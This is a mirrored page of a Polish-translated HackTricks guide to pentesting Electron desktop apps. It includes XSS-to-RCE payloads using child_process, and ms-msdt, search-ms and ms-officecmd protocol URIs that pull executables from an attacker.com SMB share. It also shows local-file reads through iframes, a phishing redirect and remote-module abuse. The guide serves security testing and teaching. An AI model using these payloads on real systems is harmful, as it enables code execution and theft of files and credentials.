mirror of https://github.com/HackTricks-wiki/hacktricks.git synced 2025-10-10 18:36:50 +00:00

Translator 02b15552c9 Translated ['src/network-services-pentesting/pentesting-web/electron-des

2025-01-07 18:15:55 +00:00

21 KiB

Raw Blame History

Aplikacje Desktopowe Electron

Wprowadzenie

Electron łączy lokalny backend (z NodeJS) i frontend (Chromium), chociaż brakuje mu niektórych mechanizmów zabezpieczeń nowoczesnych przeglądarek.

Zazwyczaj kod aplikacji electron można znaleźć wewnątrz aplikacji .asar, aby uzyskać kod, musisz go wyodrębnić:

npx asar extract app.asar destfolder #Extract everything
npx asar extract-file app.asar main.js #Extract just a file

W kodzie źródłowym aplikacji Electron, w pliku packet.json, można znaleźć określony plik main.js, w którym ustawiane są konfiguracje zabezpieczeń.

{
"name": "standard-notes",
"main": "./app/index.js",

Electron ma 2 typy procesów:

Proces główny (ma pełny dostęp do NodeJS)
Proces renderera (powinien mieć ograniczony dostęp do NodeJS z powodów bezpieczeństwa)

Proces renderera będzie oknem przeglądarki ładującym plik:

const { BrowserWindow } = require("electron")
let win = new BrowserWindow()

//Open Renderer Process
win.loadURL(`file://path/to/index.html`)

Ustawienia procesu renderera mogą być konfigurowane w procesie głównym w pliku main.js. Niektóre z konfiguracji zapobiegną uzyskaniu RCE przez aplikację Electron lub inne podatności, jeśli ustawienia są poprawnie skonfigurowane.

Aplikacja electron może uzyskać dostęp do urządzenia za pomocą interfejsów API Node, chociaż można ją skonfigurować, aby temu zapobiec:

nodeIntegration - jest wyłączone domyślnie. Jeśli włączone, pozwala na dostęp do funkcji node z procesu renderera.
contextIsolation - jest włączone domyślnie. Jeśli wyłączone, procesy główny i renderera nie są izolowane.
preload - pusty domyślnie.
sandbox - jest wyłączone domyślnie. Ograniczy to działania, które NodeJS może wykonywać.
Integracja Node w Workerach
nodeIntegrationInSubframes - jest wyłączone domyślnie.
Jeśli nodeIntegration jest włączone, pozwoli to na użycie API Node.js w stronach internetowych, które są ładowane w iframe w aplikacji Electron.
Jeśli nodeIntegration jest wyłączone, wówczas preloady będą ładowane w iframe.

Przykład konfiguracji:

const mainWindowOptions = {
title: "Discord",
backgroundColor: getBackgroundColor(),
width: DEFAULT_WIDTH,
height: DEFAULT_HEIGHT,
minWidth: MIN_WIDTH,
minHeight: MIN_HEIGHT,
transparent: false,
frame: false,
resizable: true,
show: isVisible,
webPreferences: {
blinkFeatures: "EnumerateDevices,AudioOutputDevices",
nodeIntegration: false,
contextIsolation: false,
sandbox: false,
nodeIntegrationInSubFrames: false,
preload: _path2.default.join(__dirname, "mainScreenPreload.js"),
nativeWindowOpen: true,
enableRemoteModule: false,
spellcheck: true,
},
}

Niektóre RCE payloads z tutaj:

Example Payloads (Windows):
<img
src="x"
onerror="alert(require('child_process').execSync('calc').toString());" />

Example Payloads (Linux & MacOS):
<img
src="x"
onerror="alert(require('child_process').execSync('gnome-calculator').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('id').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('ls -l').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('uname -a').toString());" />

Capture traffic

Zmodyfikuj konfigurację start-main i dodaj użycie proxy, takiego jak:

"start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors",

Wstrzykiwanie kodu lokalnego w Electron

Jeśli możesz lokalnie uruchomić aplikację Electron, istnieje możliwość, że możesz sprawić, aby wykonała dowolny kod javascript. Sprawdź jak w:

{{#ref}} ../../../macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md {{#endref}}

RCE: XSS + nodeIntegration

Jeśli nodeIntegration jest ustawione na włączone, JavaScript na stronie internetowej może łatwo korzystać z funkcji Node.js, po prostu wywołując require(). Na przykład, sposób uruchomienia aplikacji kalkulatora w systemie Windows to:

<script>
require("child_process").exec("calc")
// or
top.require("child_process").exec("open /System/Applications/Calculator.app")
</script>

RCE: preload

Skrypt wskazany w tym ustawieniu jest ładowany przed innymi skryptami w rendererze, więc ma nieograniczony dostęp do Node APIs:

new BrowserWindow{
webPreferences: {
nodeIntegration: false,
preload: _path2.default.join(__dirname, 'perload.js'),
}
});

Dlatego skrypt może eksportować node-features do stron:

typeof require === "function"
window.runCalc = function () {
require("child_process").exec("calc")
}

<body>
<script>
typeof require === "undefined"
runCalc()
</script>
</body>

[!NOTE] > Jeśli contextIsolation jest włączony, to nie zadziała

RCE: XSS + contextIsolation

contextIsolation wprowadza oddzielone konteksty między skryptami strony internetowej a wewnętrznym kodem JavaScript Electron, aby wykonanie JavaScript w każdym kodzie nie wpływało na siebie nawzajem. Jest to niezbędna funkcja, aby wyeliminować możliwość RCE.

Jeśli konteksty nie są izolowane, atakujący może:

Wykonać dowolny JavaScript w rendererze (XSS lub nawigacja do zewnętrznych stron)
Nadpisać wbudowaną metodę, która jest używana w preload lub wewnętrznym kodzie Electron na własną funkcję
Wywołać użycie nadpisanej funkcji
RCE?

Są 2 miejsca, w których wbudowane metody mogą być nadpisane: w kodzie preload lub w wewnętrznym kodzie Electron:

{{#ref}} electron-contextisolation-rce-via-preload-code.md {{#endref}}

{{#ref}} electron-contextisolation-rce-via-electron-internal-code.md {{#endref}}

{{#ref}} electron-contextisolation-rce-via-ipc.md {{#endref}}

Ominięcie zdarzenia kliknięcia

Jeśli na kliknięcie linku nałożone są ograniczenia, możesz być w stanie je obejść wykonując kliknięcie środkowe zamiast zwykłego lewego kliknięcia.

window.addEventListener('click', (e) => {

RCE via shell.openExternal

Aby uzyskać więcej informacji na temat tych przykładów, sprawdź https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8 oraz https://benjamin-altpeter.de/shell-openexternal-dangers/

Podczas wdrażania aplikacji desktopowej Electron, zapewnienie odpowiednich ustawień dla nodeIntegration i contextIsolation jest kluczowe. Ustalono, że wykonywanie zdalnego kodu na stronie klienta (RCE), które celuje w skrypty preload lub natywny kod Electron z głównego procesu, jest skutecznie zapobiegane przy tych ustawieniach.

Po interakcji użytkownika z linkami lub otwieraniu nowych okien, uruchamiane są określone nasłuchiwacze zdarzeń, które są kluczowe dla bezpieczeństwa i funkcjonalności aplikacji:

webContents.on("new-window", function (event, url, disposition, options) {}
webContents.on("will-navigate", function (event, url) {}

Te nasłuchiwacze są nadpisywane przez aplikację desktopową, aby wdrożyć własną logikę biznesową. Aplikacja ocenia, czy link, do którego nawigowano, powinien być otwarty wewnętrznie, czy w zewnętrznej przeglądarce internetowej. Decyzja ta jest zazwyczaj podejmowana przez funkcję openInternally. Jeśli ta funkcja zwraca false, oznacza to, że link powinien być otwarty zewnętrznie, wykorzystując funkcję shell.openExternal.

Oto uproszczony pseudokod:

Najlepsze praktyki bezpieczeństwa Electron JS odradzają akceptowanie nieufnych treści za pomocą funkcji openExternal, ponieważ może to prowadzić do RCE przez różne protokoły. Systemy operacyjne obsługują różne protokoły, które mogą wywołać RCE. Aby uzyskać szczegółowe przykłady i dalsze wyjaśnienia na ten temat, można odwołać się do tego zasobu, który zawiera przykłady protokołów Windows zdolnych do wykorzystania tej podatności.

W macos funkcja openExternal może być wykorzystana do wykonywania dowolnych poleceń, jak w shell.openExternal('file:///System/Applications/Calculator.app').

Przykłady exploitów protokołów Windows obejmują:

<script>
window.open(
"ms-msdt:id%20PCWDiagnostic%20%2Fmoreoptions%20false%20%2Fskip%20true%20%2Fparam%20IT_BrowseForFile%3D%22%5Cattacker.comsmb_sharemalicious_executable.exe%22%20%2Fparam%20IT_SelectProgram%3D%22NotListed%22%20%2Fparam%20IT_AutoTroubleshoot%3D%22ts_AUTO%22"
)
</script>

<script>
window.open(
"search-ms:query=malicious_executable.exe&crumb=location:%5C%5Cattacker.com%5Csmb_share%5Ctools&displayname=Important%20update"
)
</script>

<script>
window.open(
"ms-officecmd:%7B%22id%22:3,%22LocalProviders.LaunchOfficeAppForResult%22:%7B%22details%22:%7B%22appId%22:5,%22name%22:%22Teams%22,%22discovered%22:%7B%22command%22:%22teams.exe%22,%22uri%22:%22msteams%22%7D%7D,%22filename%22:%22a:/b/%2520--disable-gpu-sandbox%2520--gpu-launcher=%22C:%5CWindows%5CSystem32%5Ccmd%2520/c%2520ping%252016843009%2520&&%2520%22%22%7D%7D"
)
</script>

Odczyt wewnętrznych plików: XSS + contextIsolation

Wyłączenie contextIsolation umożliwia użycie tagów <webview>, podobnie jak <iframe>, do odczytu i eksfiltracji lokalnych plików. Przykład pokazuje, jak wykorzystać tę lukę, aby odczytać zawartość wewnętrznych plików:

Ponadto, udostępniana jest inna metoda odczytu wewnętrznego pliku, podkreślająca krytyczną lukę w odczycie lokalnych plików w aplikacji desktopowej Electron. Polega to na wstrzyknięciu skryptu w celu wykorzystania aplikacji i eksfiltracji danych:

<br /><br /><br /><br />
<h1>
pwn<br />
<iframe onload="j()" src="/etc/hosts">xssxsxxsxs</iframe>
<script type="text/javascript">
function j() {
alert(
"pwned contents of /etc/hosts :\n\n " +
frames[0].document.body.innerText
)
}
</script>
</h1>

RCE: XSS + Stary Chromium

Jeśli chromium używane przez aplikację jest stare i istnieją znane luki w nim, może być możliwe wykorzystanie tego i uzyskanie RCE przez XSS.
Możesz zobaczyć przykład w tym opisie: https://blog.electrovolt.io/posts/discord-rce/

Phishing XSS za pomocą obejścia regex URL wewnętrznego

Zakładając, że znalazłeś XSS, ale nie możesz wywołać RCE ani ukraść plików wewnętrznych, możesz spróbować użyć go do kradzieży poświadczeń za pomocą phishingu.

Przede wszystkim musisz wiedzieć, co się dzieje, gdy próbujesz otworzyć nowy URL, sprawdzając kod JS w interfejsie:

webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
webContents.on("will-navigate", function (event, url) {}                    // opens the custom openInternally function (it is declared below)

Wywołanie openInternally zdecyduje, czy link zostanie otwarty w oknie desktopowym, ponieważ jest to link należący do platformy, czy zostanie otwarty w przeglądarce jako zasób zewnętrzny.

W przypadku, gdy regex użyty przez funkcję jest vulnerable to bypasses (na przykład przez nieescapowanie kropek subdomen) atakujący mógłby wykorzystać XSS do otwarcia nowego okna, które będzie znajdować się w infrastrukturze atakującego prosząc o dane uwierzytelniające od użytkownika:

<script>
window.open("<http://subdomainagoogleq.com/index.html>")
</script>

Moduł zdalny

Moduł Electron Remote pozwala procesom renderującym na dostęp do API procesu głównego, ułatwiając komunikację w aplikacji Electron. Jednak włączenie tego modułu wprowadza znaczące ryzyko bezpieczeństwa. Zwiększa to powierzchnię ataku aplikacji, czyniąc ją bardziej podatną na luki, takie jak ataki typu cross-site scripting (XSS).

Tip

Chociaż moduł remote udostępnia niektóre API z procesu głównego do procesów renderujących, nie jest łatwo uzyskać RCE tylko poprzez nadużywanie komponentów. Jednak komponenty mogą ujawniać wrażliwe informacje.

Warning

Wiele aplikacji, które nadal używają modułu remote, robi to w sposób, który wymaga włączenia NodeIntegration w procesie renderującym, co stanowi ogromne ryzyko bezpieczeństwa.

Od wersji Electron 14 moduł remote może być włączany w kilku krokach, ponieważ z powodów bezpieczeństwa i wydajności zaleca się jego nieużywanie.

Aby go włączyć, najpierw należy włączyć go w procesie głównym:

const remoteMain = require('@electron/remote/main')
remoteMain.initialize()
[...]
function createMainWindow() {
mainWindow = new BrowserWindow({
[...]
})
remoteMain.enable(mainWindow.webContents)

Następnie proces renderera może importować obiekty z modułu, który lubi:

import { dialog, getCurrentWindow } from '@electron/remote'

blog post wskazuje na kilka interesujących funkcji udostępnionych przez obiekt app z modułu zdalnego:

app.relaunch([options])
Restartuje aplikację, zatrzymując bieżącą instancję i uruchamiając nową. Przydatne do aktualizacji aplikacji lub znaczących zmian stanu.
app.setAppLogsPath([path])
Definiuje lub tworzy katalog do przechowywania logów aplikacji. Logi można pobierać lub modyfikować za pomocą app.getPath() lub app.setPath(pathName, newPath).
app.setAsDefaultProtocolClient(protocol[, path, args])
Rejestruje bieżący plik wykonywalny jako domyślny handler dla określonego protokołu. Możesz podać niestandardową ścieżkę i argumenty, jeśli to konieczne.
app.setUserTasks(tasks)
Dodaje zadania do kategorii Zadań w Liście Szybkiego Dostępu (na Windows). Każde zadanie może kontrolować, jak aplikacja jest uruchamiana lub jakie argumenty są przekazywane.
app.importCertificate(options, callback)
Importuje certyfikat PKCS#12 do systemowego magazynu certyfikatów (tylko Linux). Callback może być użyty do obsługi wyniku.
app.moveToApplicationsFolder([options])
Przenosi aplikację do folderu Aplikacji (na macOS). Pomaga zapewnić standardową instalację dla użytkowników Maca.
app.setJumpList(categories)
Ustawia lub usuwa niestandardową Listę Szybkiego Dostępu na Windows. Możesz określić kategorie, aby zorganizować, jak zadania pojawiają się dla użytkownika.
app.setLoginItemSettings(settings)
Konfiguruje, które pliki wykonywalne uruchamiają się przy logowaniu wraz z ich opcjonalnymi ustawieniami (tylko macOS i Windows).

Native.app.relaunch({args: [], execPath: "/System/Applications/Calculator.app/Contents/MacOS/Calculator"});
Native.app.exit()

systemPreferences module

Główne API do uzyskiwania dostępu do preferencji systemowych i emitowania zdarzeń systemowych w Electron. Metody takie jak subscribeNotification, subscribeWorkspaceNotification, getUserDefault i setUserDefault są wszystkie częścią tego modułu.

Przykład użycia:

const { systemPreferences } = require('electron');

// Subscribe to a specific notification
systemPreferences.subscribeNotification('MyCustomNotification', (event, userInfo) => {
console.log('Received custom notification:', userInfo);
});

// Get a user default key from macOS
const recentPlaces = systemPreferences.getUserDefault('NSNavRecentPlaces', 'array');
console.log('Recent Places:', recentPlaces);

subscribeNotification / subscribeWorkspaceNotification

Nasłuchuje natychmiastowych powiadomień macOS za pomocą NSDistributedNotificationCenter.
Przed macOS Catalina można było podsłuchiwać wszystkie rozproszone powiadomienia, przekazując nil do CFNotificationCenterAddObserver.
Po Catalina / Big Sur aplikacje w piaskownicy mogą nadal subskrybować wiele zdarzeń (na przykład blokady/odblokowania ekranu, montowanie woluminów, aktywność sieciowa itp.) rejestrując powiadomienia po nazwie.

getUserDefault / setUserDefault

Interfejsy z NSUserDefaults, które przechowują preferencje aplikacji lub globalne na macOS.
getUserDefault może pobierać wrażliwe informacje, takie jak ostatnie lokalizacje plików lub geograficzna lokalizacja użytkownika.
setUserDefault może modyfikować te preferencje, potencjalnie wpływając na konfigurację aplikacji.
W starszych wersjach Electron (przed v8.3.0) dostępna była tylko standardowa suite NSUserDefaults.

Shell.showItemInFolder

Ta funkcja wyświetla dany plik w menedżerze plików, co może automatycznie wykonać plik.

Aby uzyskać więcej informacji, sprawdź https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html

Tools

Electronegativity to narzędzie do identyfikacji błędów konfiguracyjnych i wzorców bezpieczeństwa w aplikacjach opartych na Electron.
Electrolint to otwarty plugin VS Code dla aplikacji Electron, który wykorzystuje Electronegativity.
nodejsscan do sprawdzania podatnych bibliotek stron trzecich.
Electro.ng: Musisz to kupić.

Labs

W https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s możesz znaleźć laboratorium do eksploatacji podatnych aplikacji Electron.

Niektóre polecenia, które pomogą Ci w laboratorium:

# Download apps from these URls
# Vuln to nodeIntegration
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable1.zip
# Vuln to contextIsolation via preload script
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable2.zip
# Vuln to IPC Rce
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable3.zip

# Get inside the electron app and check for vulnerabilities
npm audit

# How to use electronegativity
npm install @doyensec/electronegativity -g
electronegativity -i vulnerable1

# Run an application from source code
npm install -g electron
cd vulnerable1
npm install
npm start

21 KiB Raw Blame History